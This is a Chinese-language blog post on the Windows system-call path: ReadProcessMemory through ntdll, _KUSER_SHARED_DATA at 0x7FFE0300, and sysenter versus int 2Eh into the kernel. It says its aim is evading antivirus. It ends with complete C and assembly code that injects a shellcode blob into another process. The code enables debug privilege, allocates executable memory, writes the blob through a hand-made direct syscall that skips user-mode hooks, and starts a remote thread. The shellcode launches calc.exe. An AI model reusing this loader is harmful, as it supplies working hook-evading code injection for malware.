前言:花了两天写了去写拷贝之后,这里就继续学习API函数的调用过程

这个章节学完之后就可以重写相关三环API来实现免杀的效果。

Windows API

Application Programming Interface,简称 API 函数。

Windows的API主要是存放在 C:\WINDOWS\system32 下面所有的dll

几个重要的DLL

kernel32.dll:最核心的功能模块,比如管理内存、进程和线程相关的函数等

user32.dll:是Windows用户界面相关应用程序接口,如创建窗口和发送消息等

gdi32.dll:全称是Graphical Device Interface(图形设备接口),包含用于画图和显示文本的函数。比如要显示一个程序窗口,就调用了其中的函数来画这个窗口

ntdll.dll:大多数API都会通过这个DLL进入内核(0环).

分析ReadProcessMemory

IDA首先分析kernel32.dll,平常都是听大家说kernel32.dll提供了部分API的接口调用,所以这里先来看kernel32.dll,搜索ReadProcessMemory关键字如下图所示

可以看到是该ReadProcessMemory函数实际不是在当前kernel32.dll中调用,也就是kernel32.dll提供了接口调用

call ds:NtReadVirtualMemory,IDA中的明显特征调用是其他的DLL中的函数

api调用情况监控 api调用流程_API

这里查看导入表可以看到该NtReadVirtualMemory是ntdll.dll中的,所以这里继续看ntdll.dll中该函数,如下图所示

主要核心的代码就这几条,可以看到这里有两个值,一个是0BAh(每个函数都是不同的),还有一个是7FFE0300h(相同的)

0BAh->函数服务号

7FFE0300h->快速调用

.text:7C92D9FE                 mov     eax, 0BAh       ; eax = 0xBA
.text:7C92DA03                 mov     edx, 7FFE0300h  ; ecx = 7FFE0300
.text:7C92DA08                 call    dword ptr [edx] ; call 7FFE0300
.text:7C92DA0A                 retn    14h             ; 堆栈平衡

api调用情况监控 api调用流程_寄存器_02

通过其他的也可以发现,调用不同的函数的时候,唯一不同的就是服务号,而这个CALL 7FFE0300都是一样的

api调用情况监控 api调用流程_api调用情况监控_03

0x7FFE0300和_KUSER_SHARED_DATA

在了解0x7FFE0300的作用之前,这里还需要学习下_KUSER_SHARED_DATA结构体

_KUSER_SHARED_DATA结构体

1、在 User 层和 Kernel 层分别定义了一个 _KUSER_SHARED_DATA 结构区域,用于 User 层和 Kernel 层共享某些数据

知识点:这里可以通过windbg来进行观察,如下图所示

api调用情况监控 api调用流程_寄存器_04

2、它们使用固定的地址值映射,_KUSER_SHARED_DATA 结构区域在 User 和 Kernel 层地址分别为:

  • user 层地址为:0x7FFE0000
  • kernnel 层地址为:0xFFDF0000

上面两个地址通过windbg进行查看可以发现指向的都是同一个物理页

api调用情况监控 api调用流程_寄存器_05

注意点:虽然指向的是同一个物理页,但在User层(3环)是只读的,在kernel(0环)层是可写的,所以这也是应用层和驱动层实现调用的数据交换的一种方式

0x7FFE0000的PTE

5 -> 0101 R/W位为0,所以可以知道User层是不可写的

api调用情况监控 api调用流程_User_06

0xFFDF0000的PTE

3 -> 0101 R/W位为1,所以可以知道kernel层是可写的

api调用情况监控 api调用流程_寄存器_07

重要的知识点:

因为_KUSER_SHARED_DATA结构体是调用0环函数的重要点,所以操作系统对所有的进程其中的_KUSER_SHARED_DATA的地址都是一样的,都是0x7FFE0000这个地址

那么问题就来了?那我是不是hook这个地方也同样能够实现全局的HOOK进入三环的函数?

答案是的,但是上面也可以发现用户层的话是不可写的,如果你在0环的话那么就可以全局HOOK的操作!

关于0x7FFE0300

上面介绍了_KUSER_SHARED_DATA结构体,这里继续来学习该结构体偏移0x300的位置,也就是快速调用

其中0x7FFE0300就是0x7FFE0000偏移0x300的地址,也就是_KUSER_SHARED_DATA结构体起始偏移0x300的地址,如下图所示

dt _KUSER_SHARED_DATA 0x7FFE0000(注0x7FFE0000是一个进程的CR3,在dt命令执行先切换到一个进程的上下文.process)

可以看到其实是一个SystemCall字段名称,其中存储的值为0x7c92e510

api调用情况监控 api调用流程_寄存器_08

那么这里来观察下0x7FFE0300其中存储的是什么,u 0x7c92e510,如下图所示,可以看到就是快速调用的指令sysenter

api调用情况监控 api调用流程_User_09

知识点:

如果当前操作系统支持快速调用的话那么u 0x7c92e510出现的就是相关KiFastSystemCall快速调用的流程(通过sysenter)

api调用情况监控 api调用流程_User_09

如果当前操作系统不支持快速调用的话那么u 0x7c92e510出现的就是相关KiIntSystemCall的调用流程(通过中断门)

api调用情况监控 api调用流程_User_11

KiFastSystemCall

如果操作系统支持快速调用的方式,那么操作系统通过三环进入零环是通过syscenter指令

api调用情况监控 api调用流程_User_12

查看是否支持快速调用

当通过eax=1来执行cpuid指令时,处理器的特征信息被放在ecx和edx寄存器中,其中edx包含了一个SEP位(11位),该位指明了当前处理器知否支持sysenter/sysexit指令

cpuid指令

api调用情况监控 api调用流程_User_13

接着单步走一下,可以发现ecx和edx都改变了

ecx:7FFAFBBF

edx::FEBFBFF

BFEBFBFF -> 1011 1111 1110 1011 1111 1011 1111 1111

可以看到第0位开始,第11位为1,所以我这台windows10的机器是支持快速调用的

api调用情况监控 api调用流程_User_14

sysenter执行的本质

而CPU如果支持sysenter指令时,操作系统会提前将CS/SS/ESP/EIP的值存储在MSR寄存器中,sysenter指令执行时,CPU会将MSR寄存器中的值直接写入相关寄存器,没有读内存的过程,所以叫快速调用,本质是一样的!

  1. CS的权限由3变为0,意味着需要新的CS
  2. SS与CS的权限永远一致,所以需要新的SS
  3. 权限发生切换的时候,堆栈也一定会切换,需要新的ESP
  4. 进0环后代码的位置,需要EIP

api调用情况监控 api调用流程_寄存器_15

这里可以测试操作系统在MSR寄存器中存储的值是多少,如下图所示

api调用情况监控 api调用流程_API_16

这里还会看到,MSR寄存器在只提供了三个寄存器分别是ESP EIP CS,那么SS谁提供的呢?sysenter默认算法,SS = CS+8

快速调用的内核函数KiFastCallEntry

api调用情况监控 api调用流程_寄存器_17

KiIntSystemCall

如果当前CPU不支持快速调用的话,那么它的实现方式是通过中断门来进入0环

中断门进0环,需要的CS、EIP在IDT表中,需要查内存(SS与ESP由TSS提供)

api调用情况监控 api调用流程_api调用情况监控_18

中断门调用的内核函数KiSystemService

这里还需要学习下KiSystemService,这个就是当KiIntSystemCall中断门提权int 2Eh之后的EIP的位置

dq idtr+8*0x2e,如下图所示

通过拆分就可以直接当前中断门描述符进入0环之后的位置为0x804de7d1

api调用情况监控 api调用流程_寄存器_19

那么这里继续跟u 0x804de7d1,如下图所示,这里就可以看到会调用KiSystemService函数

api调用情况监控 api调用流程_api调用情况监控_20

重写WriteProcessMemory

重写API的意义:自己实现API,可以避免3环恶意挂钩。

自己编写WriteProcessMemory函数(不使用任何DLL,直接调用0环函数)并在代码中使用。

KiIntSystemCall:

api调用情况监控 api调用流程_寄存器_21

KiFastSystemCall:

api调用情况监控 api调用流程_API_22

代码如下:

#include<stdio.h>
#include<windows.h>

BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk=FALSE;
	if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount=1;
		LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
		
		tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
		
		fOk=(GetLastError()==ERROR_SUCCESS);
		CloseHandle(hToken);
	}
    return fOk;
}


__declspec(naked) void KiFastSystemCall()
{
	__asm
	{
		mov edx,esp;
		_emit 0x0F; // sysenter 
		_emit 0x34;
	}
}

__declspec(naked) void KiFastSystemCall2NtWriteVirtualMemory()
{
	
	__asm
	{
		mov eax, 115h;
		lea edx, [KiFastSystemCall];
		call edx;
		retn 14h;
	}
}

__declspec(naked) void KiIntSystemCall()
{
	__asm
	{
		lea edx,[esp+8];
		int 2Eh;
		ret;
	}
}

__declspec(naked) void KiIntSystemCall2NtWriteVirtualMemory()
{
	
	__asm
	{
		mov eax, 115h;
		lea edx, [KiIntSystemCall];
		call edx;
		retn 14h;
	}
}


int main(int argc, char* argv[])
{
	DWORD dwWritten;
	DWORD dwProcessPid;
	HANDLE hProcess;
	DWORD dwAddr;
	unsigned char shellcode[] = { 
		0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
		0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
		0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
		0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
		0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
		0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
		0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
		0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
		0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
		0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
		0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
		0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
		0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
		0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
		0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
		0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
		0x33, 0xC9, 0x51, 0xFF, 0xD0 };
	
	EnableDebugPrivilege();
	printf("Injection Pid: ");
	scanf("%d", &dwProcessPid);
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
	dwAddr = (DWORD)VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	// WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
	
	// KiFastSystemCall2NtWriteVirtualMemory
	// KiIntSystemCall2NtWriteVirtualMemory
	__asm
	{
		pushad;
		pushfd;
		lea eax, [dwWritten];
		push eax;
		push 0x105;
		lea ebx, [shellcode];
		push ebx;
		push dwAddr;
		push hProcess;
		call KiFastSystemCall2NtWriteVirtualMemory;
		//call KiIntSystemCall2NtWriteVirtualMemory;
		popfd;
		popad;
	}
	CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, 0, 0, 0);
	system("pause");
	return 0;
}